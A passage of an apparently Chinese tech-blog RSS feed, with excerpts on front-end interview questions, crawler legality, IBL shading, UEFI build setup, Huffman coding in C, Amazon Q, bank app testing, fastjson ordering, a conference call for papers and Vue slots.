      <pubDate>Fri, 01 Dec 2023 17:37:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6960224248c30323d60cabc1cfe7645f/</guid>
      <description>基本情况 这是一个前端实习岗位，在boss上进行投递，本篇博客记载天天拍车的一面。大概面了快一个小时，面试题目不难，面试官非常友善，且通过此次面试我也颇有收获。&#xA;因为题目也不难，可以搜到答案，所以这里只记录题目是什么，我回答的怎么样，对于标准答案，不作详述。&#xA;由于有几天了，有事情耽搁没详细记录，所以只把能想起来的给记下来，希望能帮助到读者朋友。&#xA;询问情况 面试官比较在意在校期间的学习情况，我针对前端，比赛等进行了展开讲解；&#xA;面试官还注重我的实习情况，做了什么，学到什么，由于我的简历上有两份实习经历，所以依次说了我担任的角色以及我做的事情。&#xA;这些基本问题了解后，就进入了基础考察环节。&#xA;面试问题 1.介绍原型和原型链的区别&#xA;这个问题我已经理解并熟练了，在很久之前写过一篇博客，记录的非常详细：&#xA;构造函数与原型对象&#xA;这里还问到了Vue中的内容，比如Vue对原型的应用。（事件车）&#xA;2.js事件循环&#xA;说实话当时有点懵逼，在想是不是对一个事件进行循环。下来搜之后，秒懂了。&#xA;实际上就是同步跟异步。同步任务进入主进程，异步任务在特定时刻执行。但异步任务的执行也有讲究，我们可以把异步任务分为宏任务和微任务，宏任务就比如定时器，微任务是我们的promise。微任务优先宏任务执行。&#xA;3.正则表达式的考察&#xA;这块之前面滴滴的时候就有考，这次又考了，遗憾的是，又不能回答出完整正确的过程。我一定要把正则给好好过一遍，然后在这里附上我的打卡博客。&#xA;4.ES6新增内容&#xA;ES6新增每一个都可以详细说的。这里我记录下我回答上来的：&#xA;新增let、const，这里我详述了下这两点。这一点在我这家公司面试的时候也详细考过，印象深刻；&#xA;class类的出现；&#xA;promise的应用（这里我有详细回答）；&#xA;箭头函数；&#xA;set、map的使用，这两点面试官有问，但我觉得我后面还需要再使用，让自己更加了解；&#xA;proxy代理。&#xA;5.原型上遍历数组的方法&#xA;这里我提到了forEach、map、filter（面试官详细问了）、面试官为我提到了IndexOf、还有find等。这个后面还需要多了解。&#xA;我还提到了非原型遍历数组，用for，for of的方法。&#xA;6.跨域问题的解决&#xA;前端方面的jsonp、script标签、proxy代理；&#xA;后端Nginx的反向代理、请求头设置（没答上来详细的请求头）。&#xA;res.setHeader(‘Access-Control-Allow-Origin’, ‘*’)&#xA;7.前端如何向后端传递JSON数据&#xA;这个我不太清楚，硬着头皮说把对象转化成JSON格式传过去，面试官提醒我这个也需要在后端进行设置，类似于解决跨域的请求头；&#xA;后面我问了我的后端，现在java的框架好像已经可以自动设置了，无需配置，用框架工具即可。&#xA;8.get、post的区别，以及还知道什么请求&#xA;这个我之前面试也出现过，具体是什么就不详述了。还知道什么请求，我回答的是delete；&#xA;面试官提示我的options请求，也是一种请求类型，是全能的。可以在methods中设置get、set等。&#xA;9.new的作用&#xA;反问环节 反问环节我问了实习介绍上面的“微前端”标签，得到的答案是跟部署有关的相关操作，面试官还主动为我介绍了公司实习生的学习与职责，以及后面的转正留用相关情况。&#xA;总结 一面过了，二面是技术总监的面试，也相当于技术面，二面加油！&#xA;冲冲冲！</description>
    </item>
    <item>
      <title>鼎捷前端开发校招岗技术面面经（已过）</title>
      <link>https://bchobby.github.io/posts/21cece7255d54aa4e917cbf2e3dac06e/</link>
      <pubDate>Fri, 01 Dec 2023 17:37:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21cece7255d54aa4e917cbf2e3dac06e/</guid>
      <description>前言 鼎捷一共两面，一面针对技术，这篇博客记录下我认为有价值的问题。&#xA;有价值的提问 js类的继承的方式 es5，涉及到原型、原型链的继承；&#xA;es6，类与对象，extends，super；&#xA;还问到Vue方向的一些原理。但是是让我谈我知道的原理，我聊到了响应式、事件车、diff比对算法、el的渲染（render函数）等。&#xA;自己写一个render函数会怎样思考 render是用来渲染的，本质上是一个函数。内部传参为一个createElement函数，这个函数内部有三个参数，第一个必须要有，是需要渲染的标签；第二个第三个跟渲染元素的特性、虚拟节点有关系，非必选。&#xA;知道了原理，那么思路好说。我的回答涉及到了原生js中的innerHTML，innerText。我们也可以写一个render1，内部的参数为一个函数，函数的第一个参数是html结构，或者是字符串。&#xA;当内部的这个函数拿到了这个字符串之后，可以把传的参数解析渲染到页面上，实现一个基本的渲染功能。</description>
    </item>
    <item>
      <title>用爬虫抓取数据违法吗</title>
      <link>https://bchobby.github.io/posts/ac85b458a4da4fd52b3f907ba1320d71/</link>
      <pubDate>Fri, 01 Dec 2023 15:50:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac85b458a4da4fd52b3f907ba1320d71/</guid>
      <description>在当今互联网时代，数据已经成为了一种非常重要的资源，而爬虫技术则是一种常用的数据获取方式。但是，爬虫抓取数据是否合法，一直是一个备受争议的话题。本文将从多个角度分析，以探讨这个问题的答案。&#xA;首先，从法律角度来看，爬虫抓取数据是否违法取决于其是否侵犯了他人的知识产权。例如，如果爬虫抓取了某个网站的内容，而该网站对其内容享有版权，那么这个行为就是不合法的。此外，如果爬虫抓取了包含他人隐私的内容，那么它也是不合法的。因此，爬虫抓取数据是否违法，完全取决于其是否侵犯了他人的权益。&#xA;其次，从伦理道德角度来看，爬虫抓取数据是否违法也存在争议。一些人认为，如果使用爬虫技术仅限于获取公共数据，那么这个行为是合法的，因为这些数据并不受版权保护。然而，另一些人则认为，即使是公共数据，也应该受到一定的保护，因为它们可能包含个人信息和隐私。因此，爬虫抓取数据是否违法，也取决于其是否存在道德问题。&#xA;再次，从技术角度来看，爬虫抓取数据是否违法也存在一些问题。一些网站会使用反爬虫技术来防止爬虫抓取其数据，如果爬虫继续进行抓取，那么它可能会被认为是一种恶意攻击。此外，如果爬虫抓取的数据过多，会占用网站的带宽资源，导致其运行缓慢或崩溃。因此，爬虫抓取数据是否违法，也取决于其是否会对网站产生负面影响。&#xA;最后，从实际应用角度来看，爬虫抓取数据是否违法也存在一些限制。例如，一些网站会通过用户协议或隐私政策来限制外部程序对其数据的访问。如果爬虫违反了这些规定，那么它就是不合法的。此外，如果爬虫抓取的数据用于商业目的，那么它可能会侵犯其他公司的商业利益，从而引起法律纠纷。因此，爬虫抓取数据是否违法，也取决于其是否符合相关规定和道德标准。&#xA;综上所述，爬虫抓取数据是否违法，取决于多个因素，包括法律、道德、技术和实际应用。如果使用爬虫技术合法、道德、技术安全，并符合相关规定和道德标准，那么它就是一种合法的数据获取方式。&#xA;关于Python技术储备&#xA;学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！&#xA;一、Python所有方向的学习路线&#xA;Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。&#xA;二、Python必备开发工具&#xA;三、Python视频合集&#xA;观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。&#xA;四、实战案例&#xA;光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;五、Python练习题&#xA;检查学习结果。&#xA;六、面试资料&#xA;我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;最后祝大家天天进步！！&#xA;上面这份完整版的Python全套学习资料已经上传至CSDN官方，朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。</description>
    </item>
    <item>
      <title>IBL环境贴图原理及着色器实现【基于图像的照明】</title>
      <link>https://bchobby.github.io/posts/f2c52d40d644f657df0bde3240055e85/</link>
      <pubDate>Fri, 01 Dec 2023 15:40:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2c52d40d644f657df0bde3240055e85/</guid>
      <description>IBL - Image Based Lighting - 也就是基于图像的照明，是一组照亮物体的技术，不是像上一章那样通过直接分析光，而是将周围环境视为一个大光源。 这通常是通过操作立方体贴图环境贴图（取自现实世界或从 3D 场景生成）来完成的，这样我们就可以直接在我们的光照方程中使用它：将每个立方体贴图纹理元素视为光发射器。 通过这种方式，我们可以有效地捕捉环境的全局照明和总体感觉，使物体在其环境中具有更好的归属感。&#xA;NSDT工具推荐： Three.js AI纹理开发包 - YOLO合成数据生成器 - GLTF/GLB在线编辑 - 3D模型格式在线转换 - 可编程3D场景编辑器 - REVIT导出3D模型插件 - 3D模型语义搜索引擎&#xA;1、辐照图贴图及其计算方法 由于基于图像的照明算法捕获某些（全局）环境的照明，因此其输入被认为是环境照明的更精确形式，甚至是全局照明的粗略近似。 这使得 IBL 对于 PBR 来说很有趣，因为当我们考虑环境照明时，物体看起来在物理上更加准确。&#xA;为了开始将 IBL 引入我们的 PBR 系统，让我们再次快速浏览一下反射率方程：&#xA;如前所述，我们的主要目标是求解半球Ω上所有入射光方向的积分wi。 求解上一章中的积分很容易，因为我们事先知道确切的几个光线方向wi有助于积分。 然而这一次，每个来自周围环境的入射光方向wi都可能会产生一些辐射，从而使求解积分变得不那么简单。 这给我们求解积分提出了两个主要要求：&#xA;我们需要某种方法来检索给定任何方向向量 wi 的场景的辐射亮度。求解积分需要快速且实时。 现在，第一个要求相对简单。 我们已经暗示过，但表示环境或场景的辐照度的一种方法是采用（已处理的）环境立方体贴图的形式。 给定这样一个立方体贴图，我们可以将立方体贴图的每个纹理像素可视化为一个发射光源。 通过使用任意方向向量 wi 对该立方体贴图进行采样，我们从该方向检索场景的辐射。&#xA;那么给定任意方向向量 wi 获取场景的辐射亮度就很简单：&#xA;vec3 radiance = texture(_cubemapEnvironment, w_i).rgb; 尽管如此，求解积分要求我们不仅从一个方向采样环境贴图，而且从半球上Ω所有可能的方向wi采样，这对于每个片段着色器调用来说都太昂贵了。 为了以更有效的方式求解积分，我们需要预处理或预计算大部分计算。 为此，我们必须更深入地研究反射率方程：&#xA;仔细研究反射率方程，我们发现BRDF 的漫反射 kd和镜面 ks项彼此独立，我们可以将积分一分为二：&#xA;通过将积分分成两部分，我们可以分别关注漫反射和镜面反射项； 本章的重点是漫反射积分。&#xA;仔细观察漫反射积分，我们发现漫反射朗伯项是一个常数项（颜色 c、 折射率 kd</description>
    </item>
    <item>
      <title>UEFI 基础教程 （一） - 基于QEMU搭建UEFI开发环境(win/linux)</title>
      <link>https://bchobby.github.io/posts/07e0be8f7d4c779cce175669d5a57a1f/</link>
      <pubDate>Fri, 01 Dec 2023 15:22:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07e0be8f7d4c779cce175669d5a57a1f/</guid>
      <description>一、EDKII windows 环境搭建 1. 下载UEFI开源代码 cmd进入C盘根目录，git clone https://github.com/tianocore/edk2.git edkii &amp;amp;&amp;amp; cd edkii &amp;amp;&amp;amp; git submodule update --init (太慢的话，使用gitee, git clone https://gitee.com/xiaopangzi313/edk2.git)&#xA;2. 安装ASL编译器 下载 iasl-win-20190405.zip，然后解压至C:\asl。&#xA;3. 安装NASM编译器 下载 nasm-2.14.02-win64.zip，解压nasm-2.14.02-win64.zip到C:\nasm&#xA;4. 安装VS2013或者VS2015(过程略) 5. 修改启动脚本edksetup.bat 进入edk2目录，在edksetup.bat最后一行添加&#xA;build -a X64 -p OvmfPkg\OvmfPkgX64.dsc -D DEBUG_ON_SERIAL_PORT&#xA;6. 编译 OVMF.FD 固件文件 在edk2目录执行edksetup.bat,&#xA;运行结果如下,&#xA;为了运行方便，可以将edksetup.bat放入右键菜单，编写以下文本保存为EDK2_Build.reg 并双击运行，&#xA;Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\Directory\shell\EDK2_Build] @=&#34;EDK2_Build&#34; &#34;Icon&#34;=&#34;cmd.exe&#34; [HKEY_CLASSES_ROOT\Directory\shell\EDK2_Build\command] @=&#34;cmd.exe /s /k pushd \&#34;%V\&#34; &amp;amp;&amp;amp; edksetup.bat&#34; [HKEY_CLASSES_ROOT\Directory\Background\shell\EDK2_Build] @=&#34;EDK2_Build&#34; &#34;Icon&#34;=&#34;cmd.exe&#34; [HKEY_CLASSES_ROOT\Directory\Background\shell\EDK2_Build\command] @=&#34;</description>
    </item>
    <item>
      <title>【C语言】Huffman编码解码简单实现</title>
      <link>https://bchobby.github.io/posts/2a719361363724674d12313212a66071/</link>
      <pubDate>Fri, 01 Dec 2023 15:07:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a719361363724674d12313212a66071/</guid>
      <description>什么是Huffman编码？ 当我们传输数据的时候，有一种传输方式叫做二进制传输，也就是把需要传输的数据转化为二进制数传输给对方。&#xA;比如我们有一段文字内容“BADCADFEED”要通过网络传输给别人，把这段内容编码为一段二进制数，将编码后的二进制数传输给对方，对方再根据得到的二进制解码为原内容，实现二进制传输。&#xA;如果要实现这一过程，我们可以采用这种方法，文字内容中每一个字符都有一个二进制数与之对应，且每一个字符对应的二进制数的长度是一样的。例如，我可以规定： “A”：000，“B”：001，“C”：010，“D”：011，“E”：100，“F”：101。这样我们就可以把文字内容转化为一段二进制数了，转化后的二进制数是“001000011010000011101100100011”，对方接收到这段二进制数后，每一次读取三个二进制数，根据编码表就可以解码为对应的字符，这个过程就实现了。&#xA;但是如果一篇文章内容很长，所包含的字符数量非常大，这种方式编码的二进制数会非常庞大。如果规定等长的二进制数长度为5，他能表示的字符数为2^5=32，ASCII码一共有256个字符，2^8=256，也就是每一个字符需要长度为8的二进制数对应，这样带来的内存消耗是非常大的，那有没有别的编码方式可以减少这种消耗呢？&#xA;Huffman提出一种新的编码方式，不再规定二进制数长度的统一，而是设计长短不等的编码，这种编码其实是很容易混淆的，给你一段很长的二进制数，你不知道要在那些地方划分解码，所以这种方式必须满足一个前提，任一字符的编码都不是另一个字符的编码前缀，这种编码方式称为前缀编码，也称为Huffman编码。&#xA;Huffman树 关于Huffman编码我们先来介绍一下Huffman树。&#xA;如果我们所需要传输的文本内容不再是“BADCADFEED”，而是由这六个字符组成的某段文字，这六个字符出现的频率分别为A27,B8,C15,D15,E30,F5。&#xA;Huffman树 如图所示：&#xA;根据Huffman树，我们可以知道，“D”：00，“A”：01，“E”：11，“C”：101，“B”：1001，“F”：1000，从而实现了Huffman编码，设计长短不等的编码，但是就算是长短不一，似乎也不能减少内存的消耗，我们设计等长的二进制数长度是3，Huffman编码所展示的“B”，“F”二进制长度都超过3变为了4，这种编码方式真的可以达到减少消耗的作用吗？可以根据数学计算，计算出此编码方式得到的二进制数总长度与等长度为3的编码方式得到的二进制总长度节省的空间大小，计算公式：二进制数长度减少的个数乘以出现频率减去二进制数长度增加的个数乘以出现频率。&#xA;根据公式可以得知，如果可以控制增加长度减少的字符出现频率，减少长度增加的字符出现频率，就可以尽量使得节省空间大小的值更大。根据这个思路，我们把出现频率高的字符安放在离根近的叶子位置，而出现频率低的字符安放在离根远的叶子位置。这就是Huffman编码方式节省空间的原理。&#xA;Huffman编码定义 Huffman编码是一种常用的数据压缩算法，通过使用不等长的编码来表示不同的符号，以实现对数据的高效压缩。该算法由David A. Huffman于1952年提出，并且在信息论和压缩领域广泛应用。&#xA;Huffman编码的基本思想是，出现频率高的符号使用较短的编码，而出现频率低的符号使用较长的编码。这样可以确保整体的编码长度较短，从而实现数据的高效压缩。&#xA;以下是Huffman编码的基本步骤：&#xA;统计符号的频率：遍历待压缩的数据，统计每个符号（通常是字符）的出现频率。&#xA;构建Huffman树：将每个符号及其频率作为一个节点，构建一个最小堆（Min Heap）或优先队列。不断合并两个具有最小频率的节点，直到只剩下一个节点，即树的根节点。这个树就是Huffman树。&#xA;分配编码：从根节点开始，向左走为0，向右走为1，从而得到每个符号的Huffman编码。编码的长度取决于符号在Huffman树中的深度。&#xA;构建Huffman编码表：将每个符号及其对应的Huffman编码存储在一个表中，以便进行编码和解码。&#xA;数据编码：用Huffman编码表将原始数据中的每个符号替换为相应的Huffman编码，得到压缩后的数据。&#xA;Huffman编码的解码过程是编码过程的逆过程：&#xA;读取Huffman编码表。从根节点开始，根据编码的每一位向左或向右遍历Huffman树。当到达叶子节点时，输出对应的符号，并回到根节点，继续解码下一个编码。 Huffman编码在图像、音频、文本等数据的压缩中得到了广泛应用，因为它能够根据数据的统计特性实现高效的压缩。&#xA;怎么样构建Huffman树？ 前面我们提到了，Huffman树构建思路需要把出现频率高的字符安放在离根结点近的叶子位置，而出现频率低的字符安放在离根结点远的叶子位置。以下是Huffman树构建步骤：&#xA;如果我们所需要传输的文本内容不再是“BADCADFEED”，而是由这六个字符组成的某段文字，这六个字符出现的频率分别为A27,B8,C15,D15,E30,F5。&#xA;先把这些叶子结点按照从小到大的顺序排列成一个有序序列，即F5,B8,C15,D15,A27,E30。取头两个出现次数最小的结点作为一个新结点N1的两个子节点，新结点的出现次数算作两个结点出现次数之和。用N1结点替换F与B，插入有序序列中，保持从小到大排序。即N1 13,C15,D15,A27,E30。重复步骤2。将N1与C作为一个新结点N2的两个子结点。将N2替换N1与B，插入有序序列中，保持从小到大排序，即N2 28，D15，A27,E30。重复步骤2。将N2与D作为一个新结点N3的两个子结点。将N3替换N2与D，插入有序序列中，保持从小到大排序，即N3 43，A27,E30。重复步骤2。将N3与A作为一个新结点N4的两个子结点。将N4替换N3与A，插入有序序列中，保持从小到大排序，即N4 70,E30。重复步骤2。将N4与E作为一个新结点N5的两个子结点。将N5替换N4与E，插入有序序列中，保持从小到大排序，即N5100。 最后得到的Huffman树就如图所示：&#xA;代码的具体实现 编写结构体 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; typedef struct Node { char data; int frequency; struct Node* left; struct Node* right; } Node; 首先我们编写好头文件和Huffman树结点的结构体，结构体中需要存储表示的字符和这个字符的出现频率，以及左孩子和右孩子。&#xA;编写创建Huffman结点的函数 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.</description>
    </item>
    <item>
      <title>【亚马逊云科技】re:Invent 2023 | Amazon Q王炸产品震撼来袭</title>
      <link>https://bchobby.github.io/posts/242c2e6e4d9484d548f783f21653a1fe/</link>
      <pubDate>Fri, 01 Dec 2023 14:55:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/242c2e6e4d9484d548f783f21653a1fe/</guid>
      <description>re:Invent 2023前沿资讯快速入口➡️：2023亚马逊云科技reinvent大会，与开发者一起构建未来！&#xA;文章目录 一、2023 亚马逊云科技 re:Invent 精彩内容速递🎨二、Amazon Q 震撼来袭2.1 什么是`Amazon Q`？2.2 Amazon Q功能介绍 三、Amazon Q测评体验3.1 使用 Amazon Q 排查控制台错误3.2 与 AWS 支持人员聊天 四、🥚彩蛋：大会精彩花絮🎉五、🎨精彩栏目纷呈，即可锁定🔐1️⃣ PartyRock2️⃣re:Invent 2023 传音信箱3️⃣世界开发者说：听见全球开发者的声音4️⃣「构」向云端，构建者征文大赛5️⃣亚马逊云科技培训与认证6️⃣re:Invent 2023 开发者活动 六、参考链接🔗 一、2023 亚马逊云科技 re:Invent 精彩内容速递🎨 ① 2023 亚马逊云科技 re:Invent ，十二年间精彩纷呈不断.... 自2012年以来，亚马逊云科技re:Invent全球大会，已成为全球云计算领域创新年度发布的关键节点&#xA;十二年来，哪些高光瞬间让你记忆犹新，快邀请TA一同见证吧！&#xA;②17 年磨一剑，程序员编程利器 Amazon Q 面世！ Amazon Q 问世，全场尖叫！这是一种以安全和隐私为重点构建的新型生成式人工智能助手，旨在帮助企业级开发者们释放生成式 AI 技术的全部潜力！&#xA;③黄教主亲身支持，官宣英伟达重磅合作 在主题演讲中，亚马逊云科技 CEO Adam Selipsky 邀请上老朋友英伟达 CEO 黄仁勋，黄教主的出现也让现场进入了一个小高潮。&#xA;④两大“王炸”芯片来袭，数周内训练出 3000 亿个参数的 LLM 亚马逊云科技发布 S3 Express One Zone、Amazon Graviton 4以及 R8g Instances for EC2 实例、Trainium2 芯片等！全面助力客户降本增效！</description>
    </item>
    <item>
      <title>银行测试-测试银行应用程序各阶段总结（超详细）</title>
      <link>https://bchobby.github.io/posts/a6a2801f7ccbebfcae7eb3d3d2e9c369/</link>
      <pubDate>Fri, 01 Dec 2023 14:39:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6a2801f7ccbebfcae7eb3d3d2e9c369/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、银行应用程序的特征&#xA;1）多层功能，支持数千个并发用户会话&#xA;2）大规模集成，通常是银行应用程序与许多其他应用程序集成，例如账单支付实用程序，交易账户，在线定期存款等。&#xA;3）复杂的业务工作流&#xA;4）实时和批处理&#xA;5）每秒事务率高&#xA;6）安全事务&#xA;7）强大的报告部分，可跟踪日常交易&#xA;8）强大的审计功能可解决客户问题&#xA;9）海量存储系统&#xA;10）灾害管理&#xA;上面列出的十点是银行应用程序最重要的特征。&#xA;银行应用程序在执行操作时涉及多个层。&#xA;例如，典型的银行应用程序可能具有：&#xA;1个 Web 服务器，用于通过 Web 浏览器与最终用户交互；&#xA;用于验证 Web 服务器的输入和输出的中间层；&#xA;用于存储数据和过程的数据库；&#xA;事务处理器，可以是大容量大型机或任何其他遗留系统，每秒执行数万亿个事务。&#xA;如果我们谈论测试银行应用程序，它需要一个端到端的测试方法，涉及多种软件测试技术，以确保：&#xA;全面覆盖所有银行工作流程和业务需求&#xA;应用程序的功能方面&#xA;应用程序的安全性方面&#xA;数据完整性&#xA;并发&#xA;用户体验&#xA;2、测试银行应用程序典型阶段&#xA;收集&#xA;需求审查&#xA;业务场景准备&#xA;功能测试&#xA;数据库测试&#xA;安全测试&#xA;用户接受&#xA;1）需求收集&#xA;需求收集阶段涉及将需求记录为功能&#xA;规范或用例。根据客户需求收集需求，并由银行专家或业务分析师记录。要编写要求，涉及多个主题专家，因为银行本身具有多个子域，并且一个成熟的银行应用程序将是所有子域的集成。&#xA;例如，银行应用程序可能具有用于汇款，信用卡，报告，贷款帐户，账单支付，电子交易等的单独模块。&#xA;2）需求审查&#xA;需求收集的可交付成果由所有利益相关者（如QA工程师，开发主管和同行业务分析师）进行审查。他们交叉检查现有业务工作流和新工作流是否都未违反。&#xA;3）业务场景准备&#xA;在此阶段，QA 工程师从需求文档（功能规范或用例）派生业务方案。业务方案的派生方式是涵盖所有业务需求。&#xA;业务方案是高级方案，没有任何详细步骤。此外，这些业务场景由业务分析师审查，以确保满足所有业务需求，并且BA审查高级场景比审查低级详细测试用例更容易。&#xA;4）功能测试&#xA;在此阶段，将执行功能测试并执行通常的软件测试活动。&#xA;例如：&#xA;测试用例准备：在此阶段，测试用例派生自业务方案，其中一个&#xA;业务场景导致几个正面和负面的测试用例。通常，在此阶段使用的工具是微软Excel，测试总监或质量中心。&#xA;测试用例评审：由同行 QA 工程师进行评审。&#xA;测试用例执行：测试用例执行可以是手动的，也可以是自动的，涉及QC，QTP，硒或任何其他工具。&#xA;5）数据库测试&#xA;银行应用程序涉及在Ul级别和数据库级别执行的复杂事务，因此数据库测试与功能测试一样重要。&#xA;数据库本身是一个完全独立的层，因此它通常由数据库专家执行，并使用相同的技术进行测试。&#xA;例如：&#xA;数据加载&#xA;数据库迁移&#xA;测试数据库架构和数据类型&#xA;规则测试</description>
    </item>
    <item>
      <title>Java——》JSONObjet 数据顺序</title>
      <link>https://bchobby.github.io/posts/e5cda54eebdae977494e19176c28c105/</link>
      <pubDate>Fri, 01 Dec 2023 14:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5cda54eebdae977494e19176c28c105/</guid>
      <description>推荐链接：&#xA;总结——》【Java】&#xA;总结——》【Mysql】&#xA;总结——》【Redis】&#xA;总结——》【Kafka】&#xA;总结——》【Spring】&#xA;总结——》【SpringBoot】&#xA;总结——》【MyBatis、MyBatis-Plus】&#xA;总结——》【Linux】&#xA;总结——》【MongoDB】&#xA;总结——》【Elasticsearch】&#xA;Java——》JSONObjet 数据顺序 一、源码二、JSONObjet按顺序显示 一、源码 JSONObject 内部是用 Map* 来存储的：&#xA;HashMap 元素是无序的LinkedHashMap 元素是有序的 二、JSONObjet按顺序显示 通过下面两种方法实现固定排序：&#xA;JSONObject jsonObj = new JSONObject(new LinkedHashMap&amp;lt;String, Object&amp;gt;());JSONObject jsonObj = new JSONObject(true); import com.alibaba.fastjson.JSONObject; import java.util.LinkedHashMap; public class Test { public static void main(String[] args) { // JSONObject内部是用HashMap来存储的，HashMap 元素是无序的，LinkedHashMap 元素是有序的 JSONObject jsonObject = new JSONObject(); jsonObject.put(&#34;3&#34;,&#34;c&#34;); jsonObject.put(&#34;2&#34;,&#34;b&#34;); jsonObject.put(&#34;1&#34;,&#34;a&#34;); System.out.println(jsonObject); // 固定排序（保持put时的顺序）：方法1 jsonObject = new JSONObject(true); jsonObject.put(&#34;3&#34;,&#34;c&#34;); jsonObject.</description>
    </item>
    <item>
      <title>2024年文化传播与社会管理国际会议(ICCCSM 2024)</title>
      <link>https://bchobby.github.io/posts/5f33beb9ea94d5e64569a3a641f18f15/</link>
      <pubDate>Fri, 01 Dec 2023 13:50:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f33beb9ea94d5e64569a3a641f18f15/</guid>
      <description>【快速见刊|投稿优惠】2024年文化传播与社会管理国际会议(ICCCSM 2024) 2024文化传播与社会管理国际会议(ICCCSM 2024)&#xA;2024 International Conference on Cultural Communication and Social Management (ICCCSM 2024)&#xA;▶会议简介 2024年文化传播与社会管理国际会议(ICCCSM 2024)将围绕“文化传播，社会管理”的新兴研究领域，为来自国内外高等院校、科学研究所、企事业单位的专家、教授、学者、工程师等提供一个分享专业经验，扩大专业网络，面对面交流新思想以及展示研究成果的国际平台，探讨本领域发展所面临的关键性挑战问题和研究方向，以期推动该领域理论、技术在高校和企业的发展和应用，也为参会者建立业务或研究上的联系以及寻找未来事业上的全球合作伙伴。 ▶重要信息 投稿邮箱：s19113133262@163.com&#xA;【投稿请备注icccsm+苏老师推荐+投稿人姓名，精准备注更快审稿】&#xA;最终截稿时间：请查看官网&#xA;接受/拒稿：投稿后2-3日内通知&#xA;（见刊快，检索稳定）&#xA;▶征稿主题（其他符合文化传播和社会管理相关主题皆可投稿） 文化传播：&#xA;新闻与传播&#xA;传播行为&#xA;符号传播&#xA;跨文化交际&#xA;文化研究&#xA;文化比较&#xA;文化形态&#xA;文化保育&#xA;文化传承&#xA;文化创新文化变迁与转型&#xA;文化的价值塑造&#xA;社会管理：&#xA;心理学&#xA;文化&#xA;法律&#xA;政治&#xA;历史&#xA;新闻&#xA;科技发展&#xA;交流、社区和电子社会&#xA;地理与地质科学&#xA;卫生事务及服务&#xA;商务、金融、旅游管理&#xA;人类和社会进化的复杂性&#xA;基于心理和社会概念的人类发展&#xA;创新、科技与社会&#xA;国际关系与合作&#xA;认知、心理和行为科学&#xA;人文社科类相关主题&#xA;▶论文提交 将您的文章或摘要投到我们的会议邮箱，我们收到后会第一时间回复您。 投稿邮箱：s19113133262@163.com&#xA;【投稿备注icccsm+苏老师推荐，精准备注更快审稿+享投稿优惠】&#xA;审稿流程：作者投稿→稿件收到确认（1个工作日）→初审(1-3工作日) →告知结果（接受/拒稿）。&#xA;（为了您能在第一时间得到回复，添加时请备注“icccsm 2024”）</description>
    </item>
    <item>
      <title>vue插槽之插槽的用法及作用域插槽详解</title>
      <link>https://bchobby.github.io/posts/22006206b16c4ec0b5bcba31e74f3a7e/</link>
      <pubDate>Fri, 01 Dec 2023 13:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22006206b16c4ec0b5bcba31e74f3a7e/</guid>
      <description>目录 前言一，插槽的基本使用1.1 引出插槽1.2 插槽的基本使用1.3 默认插槽1.4 插槽样式 二，具名插槽2.1 引出具名插槽2.2 具名插槽的使用 三，template标签3.1 引出template标签3.2 template标签的使用 四，作用域插槽4.1 引出作用域插槽4.2 作用域插槽后记 前言 插槽是vue中一个很有用的工具。本篇文章将讲解vue插槽的基本用法，并详细讲解作用域插槽。&#xA;希望能对读者有所帮助！&#xA;一，插槽的基本使用 1.1 引出插槽 我们对组件进行复用的时候，虽可以通过父子传值改变组件的数据，但页面的结构还是取决于组件本身。&#xA;那么，如何不改变组件本身的结构，且能够在组件本身结构的基础上再添加想加的内容呢？使用插槽可以办到。&#xA;插槽概念：&#xA;插槽就是子组件中的提供给父组件使用的一个占位符，用slot标签 表示，父组件可以在这个占位符中填充任何模板代码，如 HTML、组件等，填充的内容会替换子组件的slot标签。简单理解就是子组件中留下个“坑”，父组件可以使用指定内容来补“坑”。&#xA;1.2 插槽的基本使用 如下所示，一个父组件里面复用了子组件：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;Student&amp;gt;&amp;lt;/Student&amp;gt; &amp;lt;Student&amp;gt;&amp;lt;/Student&amp;gt; &amp;lt;Student&amp;gt;&amp;lt;/Student&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; student的结构也非常简单：&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;student&#34;&amp;gt; &amp;lt;h3&amp;gt;巧克力小猫猿&amp;lt;/h3&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 